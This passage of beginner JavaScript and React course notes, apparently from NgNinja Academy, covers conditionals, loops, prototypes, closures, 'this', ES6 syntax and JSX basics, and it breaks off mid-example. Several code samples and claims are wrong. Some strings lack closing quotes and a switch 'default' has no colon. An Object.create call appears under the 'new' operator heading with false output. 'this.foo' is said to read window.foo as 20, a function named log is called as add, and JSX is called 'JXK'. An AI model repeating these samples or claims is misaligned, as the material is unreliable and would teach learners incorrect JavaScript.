- Inheritance
  - Inheritance can be implemented in JavaScript like below
  - `class Car { }`
  - `class Honda extends Car { }`
- Douglas Crockford says - "In its present form, it is now a complete object-oriented programming language."
  - `http://JavaScript.crockford.com/JavaScript.html`

Polymorphism Example in JavaScript

- We have two classes `Car` and `Bike`
- Both are Vehicles. Both vehicles `move`.
- But depending on the type of the vehicles they move differently
    - ex: `Car` drives
    - ex: `Bike` rides
- But from the user's point of view they just have to call `move()` method
- And depending on the type the respective objects will take care of calling the appropriate methods underneath.

```
class Car {
  constructor(vehicle) {
    this._vehicle = vehicle;
  }

  move() {
    drive(this._vehicle);
  }
}

class Bike {
  constructor(vehicle) {
    this._vehicle = vehicle;
  }

  move() {
    ride(this._vehicle);
  }
}

// this would create the appropriate vehicle using the above classes
const vehicle = getVehicle(vehicleData);

vehicle.move()
```

Module 2 - Conditionals and Collections

If Else Condition

```
var x = 10;

if(x == 10) {
  console.log("x is 10")
}
else if(x < 10) {
  console.log("x is less than 10)
}
else {
  console.log("x is greater than 10)
}
```

- `if` block is executed if the condition is true
- `else if` block is used to specify additional conditions if the `if` condition is not satisfied
- `else` block is executed if neither of the prior conditions is satisfied

Ternary Operator

- `if else` block can be simplified and written in lesser verbose code

```
// using if else

if(x == 10) {
  console.log("x is 10")
}
else {
  console.log("x is NOT 10")
}


// using ternary

x == 10 ? console.log("x is 10") : console.log("x is NOT 10")
```

- `condition ? if-code : else-code` is the syntax used for the ternary operator

Advanced Ternary

- You can also nest the ternary operators if there are complex conditions

```
// using if else

if(x <= 10) {
  if(x == 10) {
    console.log("x is 10")
  }
  else {
    console.log("x is less than 10")
  }
}
else {
  console.log("x is greater than 10")
}
```

```
// using nested ternary

x == 10 ? (x == 10 ? console.log("x is 10") : console.log("x is less than
10") )  : console.log("x is greater than 10")
```

- `condition ? nested-ternary : else-code` - this is the syntax we used for the above-nested ternary operation
- You can go multiple levels deep into writing nested ternary operator
- But it is recommended to keep the ternary operators as simple as possible to keep the code more readable

Switch Statements

- It is another way to write conditional statements
- Based on conditions it can perform different actions

```
switch(x) {
  case 10:
    console.log("x is 10")
    break
  case 20:
    console.log("x is 20")
    break
  default
    console.log("x is NOT 10 nor 20")
}
```

- `switch(x)` this is where you specify the condition to be evaluated
- `case 10:` this is where you specify if the result of the condition equals this value the block of code will be executed
- `break` statement is required to break out of `switch` block.
  - If not provided it will execute all the following cases until it hits a `break` keyword or until the `switch` block is executed completely.
- `default` case is executed if none of the prior case conditions are met
  - `default` case does not have to be the last case in a switch block
  - `default` case is not required

`truthy` and `falsy` values in JavaScript

- Boolean data types are either `true or false`
- But in JS in addition to this, everything else has inherent boolean values
  - They are `falsy` or `truthy`
- Following values are always `falsy`:

```
// falsy values

false
0 (zero)
"" (empty string)
null
undefined
NaN (a special Number value meaning Not-a-Number)
```

- All other values are `truthy`

```
// truthy values

"0" // zero in quotes
"false" // false in quotes
function () {} // empty functions
[] // empty arrays
{} //empty objects
```

- This concept is important because the inherent values can then be used in conditional logic
- You don't have to do `if(x == false)` - you can just do `if(!x)`

```
if (x) {
  // x is truthy
}
else {
  // x is falsy
  // it could be false, 0, "", null, undefined or NaN
}
```

For Loop

- Loops are used to run same code block again and again "for" given number of times

```
// This loop will be executed 10 times

for (i = 0; i < 10; i++) {
  console.log(i)
}
```

- Loops come in handy when working with collections and arrays
- Below code will iterate over an array and log all its items

```
var items = [1,2,3,4]

for (i = 0; i < items.length; i++) {
```

```
    console.log(items[i])
  }
```

For-In loop

- It is similar to `for` loop but is used to iterate over an object instead of an array

```
var myObject = {foo: "Dan", bar: 2};

for (var x in myObject) {
  // displays the object keys
  console.log(x) // foo, bar

  // displays the values of the keys
  console.log(myObject[x]) // Dan, 2
}
```

For-Of loop

- This kind of looping loops through the values of an iterable objects
- For ex: array or string
- You can directly use the values instead of using index on that array or the string

```
var items = [1,2,3]


// using simple for loop

for(var i = 0; i < items.length; i++) {
  console.log(items[i]) // 1,2,3
}

// using for-of loop

for(var x of items) {
  console.log(x) // 1,2,3
}
```

While loop

- This loop executed a block of code "while" the given condition is true

```
// This loop will be executed 10 times

var i = 0
while (i < 10) {
  console.log(i)
  i++
}
```

NOTE: Remember to terminate the while condition properly. Or else the loop will go into infinity and it might crash your browser.

Do-While loop

- It is similar to the `while` loop except it executes the block of code first and then checks for the condition
- This process will repeat until the condition is true

```
// This loop will be executed 10 times

var i = 0
do {
  console.log(i)
  i++
} while (i < 10)
```

> Tip: In my experience, I have rarely used this `do-while`. Most of the times you can get away with using the `for` or the `while` loop.

Map Reduce Filter

Map

- It is used for creating a new array from an existing one
- It applies the given function to each item in that array

```
function getSquare(item) {
  return item * item
}

const numbers = [1, 2, 3, 4];
const squareOfNumbers = numbers.map(getSquare);
console.log(squareOfNumbers); // [1, 4, 9, 16]
```

- In the above example `getSquare` method is called for each item in the `numbers` array
- The method returns the square of each number
- The result of the `.map` is a new array with square of each number

Reduce

- Similarly to `.map` - `.reduce` calls the given method for each element in the array
- The result of each method call is passed over to the next method call in the array
- This result is called as `accumulator`
  - It can anything like a string, number or any object
- You can also pass in an `initial value` of the accumulator as an optional argument

```
function getSum(result, item) {
  return result + item
}

const numbers = [1, 2, 3, 4];
const sumOfNumbers = numbers.reduce(getSum, 0);
console.log(sumOfNumbers); // 10
```

- In the above example `getSum` method is called for each item in the `numbers` array
- `0` is passed as the initial value of the accumulator
- `result` is the variable name of the accumulator
- The above `.reduce` method adds each item in the array and stores that sum in the `result` variable
- Finally the `result` is returned to `sumOfNumbers`

Filter

- This method returns a subset of the given array
- It executes the given function for each item in the array and depending on whether the function returns `true` or `false` it keeps that element in or filters it out
- If `true` the element is kept in the result array
- If `false` the element is excluded from the result array

```
function isGreaterThanTwo(item) {
  return item > 2
}

const numbers = [1, 2, 3, 4];
var greaterThanTwoArray = numbers.filter(isGreaterThanTwo);
console.log(greaterThanTwoArray); // [3,4]
```

- In the above example `isGreaterThanTwo` method checks if the value of the given item is greater than two
- The result is a new array with only `[3,4]` items in it

Module 3 - JavaScript Objects and Functions

JavaScript Object Basics

- JS objects are used to represents real life objects in most cases
    - Ex: Person, Vehicle, Monitor
- But, you can make an object for practically anything

```
const foo = {} // foo is an object
```

- Objects are variables
- They represent various attributes of a certain entity
- person object below represents a Person whose name is "foo" and age is 21
    - name is the property key
    - foo is the property value

```
const person = {
  name: "foo",
  age: 21
}
```

Access Object Value

- You can access object property value in two ways

```
1.
console.log(person.name) // foo


2.
console.log(person['age']) // 21
```

JavaScript Functions

- It is a piece of code ideally with a single purpose
- It is a wrapper around a piece of code
- It provides an abstraction to a block of code
- It provides a way to reuse functionality

Example Function

- Below is an example of JavaScript function
- addMe is the name of the function
- a and b are two arguments
    - JavaScript arguments are dynamic so you can pass it any value
- The function addMe returns the sum of two arguments a and b

```
function addMe(a, b) {
  return a + b   // The function returns the sum of a and b
}
```

Invoke Function

- Below is how you can invoke the addMe function
- 1 and 2 are arguments passed to the function which corresponds to a and b respectively
- The return value of the function is then stored in the variable sum
    - return statement is optional

```
let sum = addMe(1,2)
console.log(sum) // 3
```

Local variables

- You can define variables inside the function
- In the below example we have just passed in a variable
- The function addMe defines variable b inside the function

- Such variables like variable b are called local variables

```
function addMe(a) {
  let b = 2
  return a + b
}


let sum = addMe(4)
console.log(sum) // 6
```

- Local variables are not accessible outside the function

```
function addMe(a) {
  let b = 2
  return a + b
}

console.log(b) // ERROR – b is not defined
```

Function Expressions

- You can also create functions using another syntax
- You can assign an anonymous function to a variable, like below -

```
var addMe = function(a, b) {
  return a + b
}

var sum = addMe(1,2)
console.log(sum) // 3
```

- Please note that the name of the function is assigned to the variable instead of the function
- Result of the function remains the same

Scoping in JavaScript

- Every variable defined in JavaScript has a scope
- Scope determines whether the variable is accessible at a certain point or not

Two Types

- Local scope
    - Available locally to a "block" of code
- Global scope
    - Available globally everywhere

> JavaScript traditionally always had function scope. JavaScript recently added block scope as a part of the new standard. You will learn about this in the Advanced JavaScript module.

Examples

- Function parameters are locally scoped variables
- Variables declared inside the functions are local to those functions

```
// global scope
var a = 1

function one(){
  console.log(a) // 1
}

// local scope – parameter
function two(a){
  console.log(a) // parameter value
}

// local scope variable
function three(){
  var a = 3

  console.log(a) // 3
}
```

Example: JavaScript does not have block scope

- In the below example value of `a` is logged as 4
- This is because JavaScript function variables are scoped to the entire function
- Even if that variable is declared in a block - in this case, the `if-block`
- This phenomenon is called as `Hoisting` in JavaScript

```
var a = 1

function four(){

  if(true){
    var a = 4
  }

  console.log(a) // logs '4', not the global value of '1'
}
```

Constructor Functions

- Functions used to create new objects are known as constructor functions
- Below function `Person` is a standard function
- But the function is used to create a new object called `john`
- Therefore, the `Person` function by convention is called a constructor function

> It is considered good practice to name constructor functions with an upper-case first letter. It is not required though.

```
function Person() {
  this.name = "John"
  this.age = 21
}

var john = new Person()
```

The `this` keyword

- The `this` represents the object (or function) that "owns" the currently executing code.

- `this` keyword references current execution context.
- When a JavaScript function is invoked, a new execution context is created.
- `this` in js is different than other languages because of how functions are handled
  - Functions are objects in JavaScript
  - So we can change the value of `this` keyword for every function call

`this` with example

- The value of `this` depends on the object that the function is attached to
- In the below example;
  - `getMyAge` function belongs to `person` object
  - So, `this.age` represents the `person` object's `age` property

```
const person = {
  name: "foo",
  age: 21,
  getMyAge: function() {
    return this.age // 21
  }
}
```

More `this` examples

- Reference to the top-level execution context
- In the browser below `this` represents the `window` object

```
function go() { console.debug(this); }
go();
```

- In below example -

- `var foo = 10;` statement declares `foo` variable on the `window` object

- `print();` belongs to `window` object of browser

- So, `this.foo` returns the value of `foo` variable on the `window` object - which is `10`

- `var myObject = { foo : 20};` declares `foo` property which belongs to `myObject` object

- `print.apply(myObject);` statement simply makes `myObject` the owner of the `print` method

- So, `this.foo` now returns the value of `foo` variable on the `window` object - which is `20`

> NOTE: We will learn more about `apply` method in Module 5

```
var myObject = { foo : 20 };
var foo = 10;

function print(){
  console.log(this.foo);
}

// This will log window.foo — 10
print(); //

// This will alert myObject.foo which is 20
print.apply(myObject);
```

The new Operator

- It will create a new instance of an object
  - It can be user-defined or a builtin type

```
// built-in type object

var cars = new Array('Honda', 'Audi', 'BMW');


// user-defined object

class Car {
  constructor(name) {
    this.name = name;
  }
}

var car = new Car('Honda')
```

> NOTE: You will learn about JavaScript Classes in Module 6

- It links the newly created object to another object
    - It does it by setting its constructor to another object
    - The object type is set to its constructor function
- It makes the `this` variable point to the newly created object.
- It invokes the constructor function
- `object.prototype` property is set to the object's prototype

Understand with example

- `Car` is a constructor function because it is invoked using `new` keyword
- `Car` function has a field called `name`
- `myCar` object is created from the `Car` function using `new` keyword
- When that is done:
    - It makes `Car` the prototype/constructor of `myCar`
    - It sets the `name` field to `Honda`
    - The value of `myCar` becomes `{name:'Honda'}`

```
function Car(name) {
  console.log(this) // this points to myCar
  this.name = name;
}

var myCar = new Car('Honda')
console.log(myCar) // {name: "Honda", constructor: "Car"}
```

Example of creating an object with and without `new` operator

WITHOUT new operator

- `this.A = 1;` - value of `this` is undefined so this statement will throw error
- `var t = Foo();` - value of `t` will be undefined because `Foo()` function is not returning anything

```
var Foo = function(){
  this.A = 1;
};

var t = Foo();
```

```
console.log(t); // undefined
```

WITH new operator

- `var m = Foo();` - value of `m` is `{ A: 1 }` with constructor set to `Foo`
- `this.A = 1;` - value of `this` is `m` object

```
var Foo = function(){
  this.A = 1;
};

var m = new Foo();
console.log(m); // m is { A: 1 }, type of m is Foo
```

Interview Question: What is the difference between the new operator and Object.create Operator

new Operator in JavaScript

- This is used to create an object from a constructor function
- The new keywords also execute the constructor function

```
function Car() {
  console.log(this) // this points to myCar
  this.name = "Honda";
}

var myCar = Object.create(Car)
console.log(myCar) // Car {name: "Honda", constructor: Object}
console.log(myCar.name) // Honda
console.log(myCar instanceof Car) // true
console.log(myCar.constructor) // function Car() {}
console.log(myCar.constructor === Car) // true
console.log(typeof myCar) // object
```

`Object.create` in JavaScript

- You can also use `Object.create` to create a new object
- But, it does not execute the constructor function
- `Object.create` is used to create an object from another object

```
const Car = {
  name: "Honda"
}

var myCar = Object.create(Car)
console.log(myCar) // Object {}
console.log(myCar.name) // Honda
console.log(myCar instanceof Car) // ERROR
console.log(myCar.constructor) // Anonymous function object
console.log(myCar.constructor === Car) // false
console.log(typeof myCar) // object
```

Module 4 - Prototypes and Prototypal Inheritance

JavaScript as Prototype-based language

- JavaScript does not contain "classes" that defines a blueprint for the object, such as is found in C++ or Java
- JavaScript uses functions as "classes"
- Everything is an object in JavaScript
- In JavaScript, objects define their own structure
- This structure can be inherited by other objects at runtime

What is a prototype?

- It is a link to another object
- In JavaScript, objects are chained together by prototype chain

```
Joe -> Person -> Object -> null
```

- JavaScript objects inherit properties and methods from a prototype

Example of Prototype

- Prototype property allows you to add properties and methods to any object dynamically

```
function Animal(name) {
  this.name = name
}

Animal.prototype.age = 10
```

- When object `Cat` is inherited from object `Animal`
  - Then `Animal` is the prototype object or the constructor of the `Cat`

```
var cat = new Animal('cat')
console.log(cat) // constructor: "Animal"
console.log(cat.name) // cat
console.log(cat.age) // 10
```

What is Prototypal Inheritance?

- In JavaScript object inherits from object - unlike class inheritance in C++ or Java
- Prototypal inheritance means that if the property is not found in the original object itself
    - Then the property will be searched for in the object's parent `prototype` object.
- Object literally links to other objects

Understand Prototypal Inheritance by an analogy

- You have exam, you need a pen, but you don't have a pen
- You ask your friend if they have a pen, but the don't - but they are a good friend
- So they ask their friend if they have a pen, they do!
- That pen gets passed to you and you can now use it
- The `friendship` is the `prototype` link between them!

Why is Prototypal Inheritance better?

- It is simpler
    - Just create and extend objects
    - You don't worry about classes, interfaces, abstract classes, virtual base classes, constructor, etc...
- It is more powerful
    - You can "mimic" multiple inheritance by extending object from multiple objects
    - Just handpick properties and methods from the prototypes you want
- It is dynamic
    - You can add new properties to prototypes after they are created
    - This also auto-adds those properties and methods to those object which are inherited from this prototype
- It is less verbose than class based inheritance

Example of Prototypal Inheritance

```
function Building(address) {
  this.address = address
}

Building.prototype.getAddress = function() {
  return this.address
}

function Home(owner, address){
  Building.call(this, address)
  this.owner = owner
}

Home.prototype.getOwner = function() {
  return this.owner
}

var myHome = new Home("Joe", "1 Baker Street")

console.log(myHome)
// Home {address: "1 Baker Street", owner: "Joe", constructor: Object}

console.log(myHome.owner) // Joe
console.log(myHome.address) // 1 Baker Street
```

- Let's define accessor methods on above constructor function
- getAddress method is defined on Building
- getOwner method is defined on Home

```
// On Building constructor

Building.prototype.getAddress = function() {
  return this.address
}


// On Home constructor

Home.prototype.getOwner = function() {
  return this.owner
}


var myHome = new Home("Joe", "1 Baker Street")
```

```
console.log(myHome.getOwner()) // Joe
console.log(myHome.getAddress()) // ERROR: myHome.getAddress is not a
function
```

- getOwner works correctly
- But - getAddress method gives error
- That is because we have not linked the prototype of Home to the prototype of Animal

Linking the prototypes

- We can link the prototype by using Object.create
- Now when we call getAddress we get the value correctly as expected

```
Home.prototype = Object.create(Building.prototype)

console.log(myHome.getOwner()) // Joe
console.log(myHome.getAddress()) // 1 Baker Street
```

Prototype Chain

- In JavaScript objects are chained together by a prototype chain
- If I the object don't have a property or method that is requested -
    - Then go to the object's prototype and look for it
- This process is repeated until JavaScript hits the top level builtin object - Object

How does prototypal inheritance/prototype chain work in above example?

- JavaScript checks if myHome has an getAddress method - it doesn't
- JavaScript then checks if Home.prototype has an getAddress method - it doesn't
- JavaScript then checks if Building.prototype has an getAddress method - it does
- So, JavaScript then calls the getAddress on the Building function

Module 5 - Advanced JavaScript (Closures, Method Chaining, etc.)

Hoisting in JavaScript

- In JavaScript function declarations and variable declarations are 'hoisted'
- Meaning variables can be used before they are declared

```
// Function declarations

foo() // 1

function foo() {
  console.log(1)
}
```

- The variable declarations are silently moved to the very top of the current scope
- Functions are hoisted first, and then variables
- But, this does not mean that assigned values (in the middle of function) will still be associated with the variable from the start of the function

- It only means that the variable name will be recognized starting from the very beginning of the function
- That is the reason, `bar` is `undefined` in this example

```
// Variable declarations

console.log(bar) // undefined

var bar = 1
```

NOTE 1: Variables and constants declared with `let` or `const` are not hoisted!

> NOTE 2: Function declarations are hoisted - but function expressions are not!

```
// NO ERROR

foo();

function foo() {
  // your logic
}
```

We get an error with Function Expressions

- `var foo` is hoisted but it does not know the type `foo` yet

```
foo(); // not a ReferenceError, but gives a TypeError

var foo = function bar() {
  // your logic
}
```

JavaScript Closures

> Technical Definition: Closure is when a function is able to remember and access its lexical scope even when that function is executing outside its lexical scope.

- Whenever you see a function keyword within another function, the inner function has access to variables in the outer function.
  - That is a closure.

- Simply accessing variables outside of your immediate lexical scope creates a closure.
- Below example is a closure
- Because `a` is outside the scope of `function foo`

```
var a = 42;

function foo() { return a; }
```

- Closures are just using variables that come from a higher scope

Closure remembers the environment

- The function defined in the closure 'remembers' the environment in which it was created
- Closure happens when an inner function is defined in outer function and is made accessible to be called later.

- In the below example we have a function `sayHello`
- It declares a local variable called `hello`
- It also declares a function variable called `log()`
- And finally, it returns the `log()` function

- So, `myClosure` variable is now pointing to the `log()` function
- Meaning calling `myClosure()` function is actually invoking the `log()` function from the `sayHello()` function

- And if you see the result - `log()` functions accurately logs the value of `hello` variable which was originally declared in the parent function `sayHello()`
- It means, the `log()` function has accurately "remembered" the value of the `hello` variable
- This phenomenon is called `closure`
- The value of `hello` variable is successfully locked into the closure of the `log()` function

```
function sayHello() {
  var hello = 'Hello, world!';

  var log = function() { console.log(hello); }

  return log;
}

var myClosure = sayHello();
myClosure(); // 'Hello, world!'
```

IIFE

- It is called as Immediately Invoked Function Expressions

What is happening here?

```
(function foo(){

    // your code

})()
```

- It is `function expression`
- It is moreover a self-executing function - an `IIFE`
- It wraps the inside members to the scope
- It prevents from polluting the global scope
- It is useful in closures

Closure And IIFE

- `sum` is a Function expression whose value is an IIFE
- So, consequently, the `sum` is assigned the return value of a self-invoking function

```
var sum = (function() {

  var foo = 20

  function bar() {
    foo = foo + 10

    console.log(foo)
  }

  return bar

})()


sum() // 30
sum() // 40
sum() // 50
```

- What is happening inside IIFE?
- We have defined `foo` variable as the local variable inside the function
- We also have a function called `bar()`
- And, finally, we return the `bar` function
- So, the function `bar` is getting assigned to the variable `sum`

- What is happening inside the `bar()` function?
- We are accessing variable `foo` from the parent scope
- And we are incrementing its value by `10` and reassigning the new value back to the variable `foo` from the parent scope
- And finally, we are logging the new value of the variable `foo`

- The interesting part is, the value of `foo` is enclosed inside the IIFE which is assigned to `sum`
- And, `sum` is actually the function `bar` as you can see below
- Every time you call function `sum()` it updates and remembers the new value of variable `foo`
- Therefore, every call to the function displays the updated value of the `foo`

```
console.log(sum) // function bar() {}
```

JavaScript `call() & apply() vs bind()`?

- They all are used to attach a correct `this` to the function and invoke it
- The difference is the way of function invocation

`bind`

- It returns a function
- This returned function can later be called with a certain context set for calling the original function
- The returned function needs to be invoked separately

Example using `bind()`

- `person` object has a method called `hello()`
- `ngNinja` object does not have it
- You can bind `hello()` method to `ngNinja` object and call it later in the code

```
var person = {
  hello: function(message) {
    console.log(this.name + " says hello " + message)
  }
}

var ngNinja = {
  name: "NgNinja Academy"
}


var sayHello = person.hello.bind(ngNinja)

sayHello("world");  // output: "NgNinja Academy says hello world"
```

call()

- `call()` attaches `this` to function and invokes the function immediately
- The owner object is sent as an argument
- With `call()`, an object can use a method belonging to another object

- In the below example `this` is set to the `ngNinja` object
- You can send arguments to the function as a comma-separated list following the owner object

```
var person = {
  hello: function(message) {
    console.log(this.name + " says hello " + message);
  }
}

var ngNinja = {
  name: "NgNinja Academy"
}

person.hello.call(ngNinja, "world"); // output: "NgNinja Academy says
hello world"
```

apply

- `apply` also attaches `this` to a function and invokes the function immediately
- `apply` is similar to `call()` except it takes an array of arguments instead of the comma-separated list

- In the below example `this` is set to the `ngNinja` object
- You can send arguments to the function as a comma-separated list following the owner object

```
var person = {
  hello: function(message) {
    console.log(this.name + " says hello " + message);
  }
}

var ngNinja = {
  name: "NgNinja Academy"
}

person.hello.apply(ngNinja, ["world"]); // output: "NgNinja Academy says
hello world"
```

Module 6 - Next Generation JS - ES6 and Beyond

JavaScript Classes

- Classes were introduced in ES6 standard
- Simple `Person` class in JavaScript
- You can define `constructor` inside the class where you can instantiate the class members
- Constructor method is called each time the class object is initialized

```
class Person {
  constructor(name) {
    this.name = name
  }
}

var john = new Person("John")
```

Class methods

- You can add your functions inside classes
- These methods have to be invoked programmatically in your code

```
class Person {
  constructor(name) {
    this.name = name
  }

  getName() {
    return this.name
  }
}

john.getName() // John
```

- JavaScript class is just syntactic sugar for constructor functions and prototypes
- If you use `typeof` operator on a class it logs it as `"function"`

- This proves that in JavaScript a class is nothing but a constructor function

```
example:
class Foo {}
console.log(typeof Foo); // "function"
```

Class vs Constructor function

- Below example demonstrates how to achieve the same result using vanilla functions and using new classes
- You can notice how using `class` make your code cleaner and less verbose
- Using `class` also makes it more intuitive and easier to understand for Developer coming from class-based languages like Java and C++

Using Function - ES5 style

```
var Person = function(name){
    this.name = name
}

var Man = function(name) {
  Person.call(this, name)
  this.gender = "Male"
}


Man.prototype = Object.create(Person.prototype)
Man.prototype.constructor = Man

var John = new Man("John")

console.log(John.name) // John
console.log(John.gender) // Male
```

Using Classes - ES6+ Style

```
class Person {
    constructor(name){
        this.name = name
    }
}


class Man extends Person {
    constructor(name){
        super(name)
        this.gender = "Male"
    }
}


var John = new Man("John")

console.log(John.name) // John
console.log(John.gender) // Male
```

let and const and Block scope

- let and const keywords were introduced in ES6
- These two keywords are used to declare JavaScript variables

```
let myFirstName = "NgNinja"

const myLastName = "Academy"

console.log(myFirstName + myLastName) // "NgNinjaAcademy"
```

- These two keywords provide Block Scope variables in JavaScript
- These variables do not hoist like var variables

> Remember: using var to declare variables creates a function scope variables

- These two keywords lets you avoid IIFE
- IIFE is used for not polluting global scope
- But, now you can just use let or const inside a block − {} - which will have same effect

let

- `let` keyword works very much like `var` keyword except it creates block scoped variables
- `let` keyword is an ideal candidate for loop variables, garbage collection variables

Example of `let`

- `var x` declares a function scope variable which is available throughout the function `checkLetKeyword()`
- `let x` declares a block scope variable which is accessible ONLY inside the if-block
- So, after the if-block the value of `x` is again `10`

```
function checkLetKeyword() {
  var x = 10
  console.log(x) // 10

  if(x === 10) {
    let x = 20

    console.log(x) // 20
  }

  console.log(x) // 10
}
```

const

- `const` keyword is used to declare a constant in JavaScript
- Value must be assigned to a constant when you declare it
- Once assigned - you cannot change its value

```
const MY_NAME = "NgNinja Academy"

console.log(MY_NAME) // NgNinja Academy

MY_NAME = "JavaScript" // Error: "MY_NAME" is read-only
```

Tricky `const`

- If you defined a constant array using `const` you can change the elements inside it
- You cannot assign a different array to it
- But, you can add or remove elements from it
- This is because `const` does NOT define a constant value. It defines a constant reference to a value.
- Example below:

```
const MY_GRADES = [1, 2, 3]

MY_GRADES = [4, 4, 4] // Error: "MY_GRADES" is read-only

MY_GRADES.push(4) // [1, 2, 3, 4]
```

Arrow Functions

- They were introduced in ES6
- It is another syntax to create functions
- It has a shorter syntax

```
// syntax

(parameters) => { statements }
```

- Brackets around parameters are optional if you have only 1 param
- Statement brackets can be removed if you are returning an expression

- Below arrow function takes in `number` parameter
- It multiplies the number with 2
- And finally it returns the result

```
// example
```

```
var double = number => number * 2


// equivalent traditional function

var double = function(number) {
  return number * 2
}
```

Another example

- You can pass multiple parameters to the arrow function
- You can also write {} and return value like a normal function

```
// example

var sum = (a, b) => {
  return a + b
}

// equivalent traditional function

var sum = function(a, b) {
  return a + b
}
```

Lexical this

- It means forcing the this variable to always point to the object where it is physically located within
- This phenomenon is called as Lexical Scoping
- Arrow function let's you achieve a lexical this via lexical scoping
- Unlike a regular function, an arrow function does not bind this
- It preserves the original context
- It means that it uses this from the code that contains the Arrow Function

Example of lexical this

- Below example declares `person` object
- It has a `name: 'John'` and a function `printName()`

- When you invoke `printName()` using `person.printName()`
- The `this` operator originally points to the `person` object
- Therefore `this.name` logs `John` correctly

- Then we have declared two function `getName()` and `getNameArrowFunction()`
- Both of them does the same thing - they return the name of the person

- But, `getName()` gives an error because `this` is undefined inside the function
- Because in traditional function `this` represent the object that calls the function
- And we have not assigned any object to the function invocation

- Whereas, `getNameArrowFunction()` logs `John` correctly
- That is because it uses `this` object from the code that contains the Arrow Function which is `person`

```
var person = {
    name: 'John',
    printName: function(){

        console.log(this.name); // John

    var getName = function() {
      return this.name // ERROR
    }

    var getNameArrowFunction = () => {
      return this.name
    }

    // TypeError: Cannot read property 'name' of undefined
    console.log(getName())

    // John
    console.log(getNameArrowFunction())

    }

}
```

```
person.printName()
```

Destructuring Operator

- It lets you unpack values from arrays, or properties from objects, into distinct variables

Example using array

- You can name your variables anything

```
let [a, b] = [1, 2]

console.log(a) // 1
console.log(b) // 2
```

Example using object

- Your name of the variables should match the name of the properties
- Order does not matter

```
let { b, a } = {
  a: 1,
  b: 2
}

console.log(a) // 1
console.log(b) // 2
```

Rest Operator

- It allows us to more easily handle a variable number of function parameters
- Earlier we had to use `arguments` variable to achieve this

```
function log() {

  for(var i = 0; i < arguments.length; i++) {
    console.log(arguments[i])
  }
}

log(1) // 1
log(1, 2, 3) // 1, 2, 3
```

Using Rest Operator

- It will assign all the remaining parameters to a rest-variable after those that were already assigned
- numbersToLog is the rest-variable in the example below
- Rest operator puts all the remaining arguments in an array and assigns it to the rest-variable

Rest operator turns comma separated value to an array

```
function log(a, ...numbersToLog) {
  console.log(a) // 1
  console.log(numbersToLog) // [2, 3]
}

add(1, 2, 3)
```

Spread Operator

- It looks like has the same as the Rest parameter operator
- But it has a different use case
- In fact, it perform almost the opposite function to Rest operator

Spread operator turns an array to comma separated values

Example

- Below example spread `array1` to a comma separated list of values into the `array2`

```
var array1 = [2, 3];
var array2 = [1, ...array1, 4, 5]; // spread

// array2 = [1, 2, 3, 4, 5]
```

ReactJS

Module 1 - Getting started

What is react?

- It is a UI library developed at Facebook
- Create interactive, stateful, and reusable components
- Example:
  - Instagram.com is written in React completely
- Uses virtual DOM
  - In short: React selectively renders subtree of DOM based on state changes
- Server side rendering is available
  - Because fake/virtual DOM can be rendered on server
- Makes use of Isomorphic JS
  - Same JS code can run on servers and clients...
  - Other egs which does this- `Rendr, Meteor & Derby`
- It is the `V in MVC`

Features

- Quick, responsive apps
- Uses virtual dom
- Does server side rendering
- One way data binding / Single-Way data flow
- Open source

Why React, Benefits, and Limitations

Why react / Benefits

- Simple, Easy to learn
- It is fast, scalable, and simple
- No need of separate template files JSX!
- It uses component based approach
  - Separation of concerns
- No need of direct DOM manipulation
- Increases app performance

Other Benefits

- Can be used on client and server side
- Better readability with JSX
- Easy to integrate with other frameworks
- Easy to write UI test cases

Limitations

- It is very rapidly evolving
  - Might get difficult to keep up
- It only covers `V of the MVP app`.
  - So you still need other tech/frameworks to complete the environment
  - Like Redux, GraphQL, Firebase, etc.
- Inline HTML and JSX.
  - Can be awkward and confusing for some developers
- Size of library is quite large

What Are SPAs

SPA

- Single-page application
- You load the app code JUST once
- The JavaScript framework (like React, AngularJS) intercepts the browser events
  - Instead of making a new request to the server that then returns a new document
  - Behaves more like a desktop application
- You don't need to refresh the page for updates
  - Your framework handles reload internally
- Some examples:
  - Gmail
  - Google Maps
  - Google Drive

Pros

- Feels much faster to the user
  - Instant feedback

- No client-server communication for getting pages
- Server will consume less resources
  - Just use server for creating data APIs
- Easy to transform into Progressive Web Apps
- Better support for local caching and offline experiences
- Best to use when there is limited or no need for SEO

Cons

- Single Page Apps rely heavily on JavaScript
- Some of your visitors might just have JavaScript disabled
- Scroll positions have to be handled and remembered programmatically
- Cancelling API calls have to be done programmatically when user navigates to another page
- Handling unsaved changes have to be done programmatically too
- Search engine optimization (SEO) with SPAs is difficult
- Increases the chance of memory leaks
  - As SPAs don't load pages, the initial page will stay open for a long time

Installing React

Prerequisites

- Node.js and NPM or Yarn
- Node.js is a Javascript run-time environment that allow us to execute Javascript code like if we were working on a server.
- NPM amd Yarn are package manager for Javascript.
  - Allows us to easily install Javascript libraries
- You'll need to have Node >= 8.10 and npm >= 5.6 on your machine

Install Node

- Download Node here - https://nodejs.org/en/
- Double click the downloaded file
- Go through the installation widget
- After completing the installation open up Terminal or Command Prompt window and run

```
node -v

// output - v8.9.4
```

- If a version was output, then you're all set.

Install Yarn

- Follow the step by step guide here - https://yarnpkg.com/lang/en/docs/install

Install ReactJS using create-react-app

- Create React App is a comfortable environment for learning React.
- Best way to start building a new single-page application in React.
- Sets up your development environment
- Provides a nice developer experience, and optimizes your app for production

```
npx create-react-app ninja-academy
cd ninja-academy
yarn start
```

Online Playgrounds

- If you just want to play around with React to test it out follow these links
- Codepen - https://codepen.io/pen?&editable=true&editors=0010
- Sandbox - https://codesandbox.io/s/new

Module 2 - Basics of React

React JSX

- It is `JavascriptXML`
- It is used for templating
    - Basically to write HTML in React
- It lets you write HTML-ish tags in your javascript
- It's an extension to `ECMAScript`
    - Which looks like XML
- You can also use plain JS with React
    - You *don't HAVE* to use JSX
    - But JSX is recommended
    - JSX makes code more readable and maintainable
- Ultimately Reacts transforms JSX to JS
    - Performs optimization
- JXK is type safe
    - so errors are caught at compilation phase

```
// With JSX
const myelement = <h1>First JSX element!</h1>;

ReactDOM.render(myelement, document.getElementById('root'));
```

```
// Without JSX

const myelement = React.createElement('h1', {}, 'no JSX!');

ReactDOM.render(myelement, document.getElementById('root'));
```

JSX - confusing parts

- JSX is not JS
    - So won't be handled by browsers directly
    - You need to include `React.createElement` so that React can understand it.
    - We need babel to transpile it

```
// You get to write this JSX
const myDiv = <div>Hello World!</div>

// And Babel will rewrite it to be this:
const myDiv = React.createElement('div', null, 'Hello World')
```

- whitespaces
  - React removes spaces by default
  - You specifically give it using `{' '}`...
  - For adding margin padding

```
// JSX
const body = (
  <body>
    <span>Hello</span>
    <span>World</span>
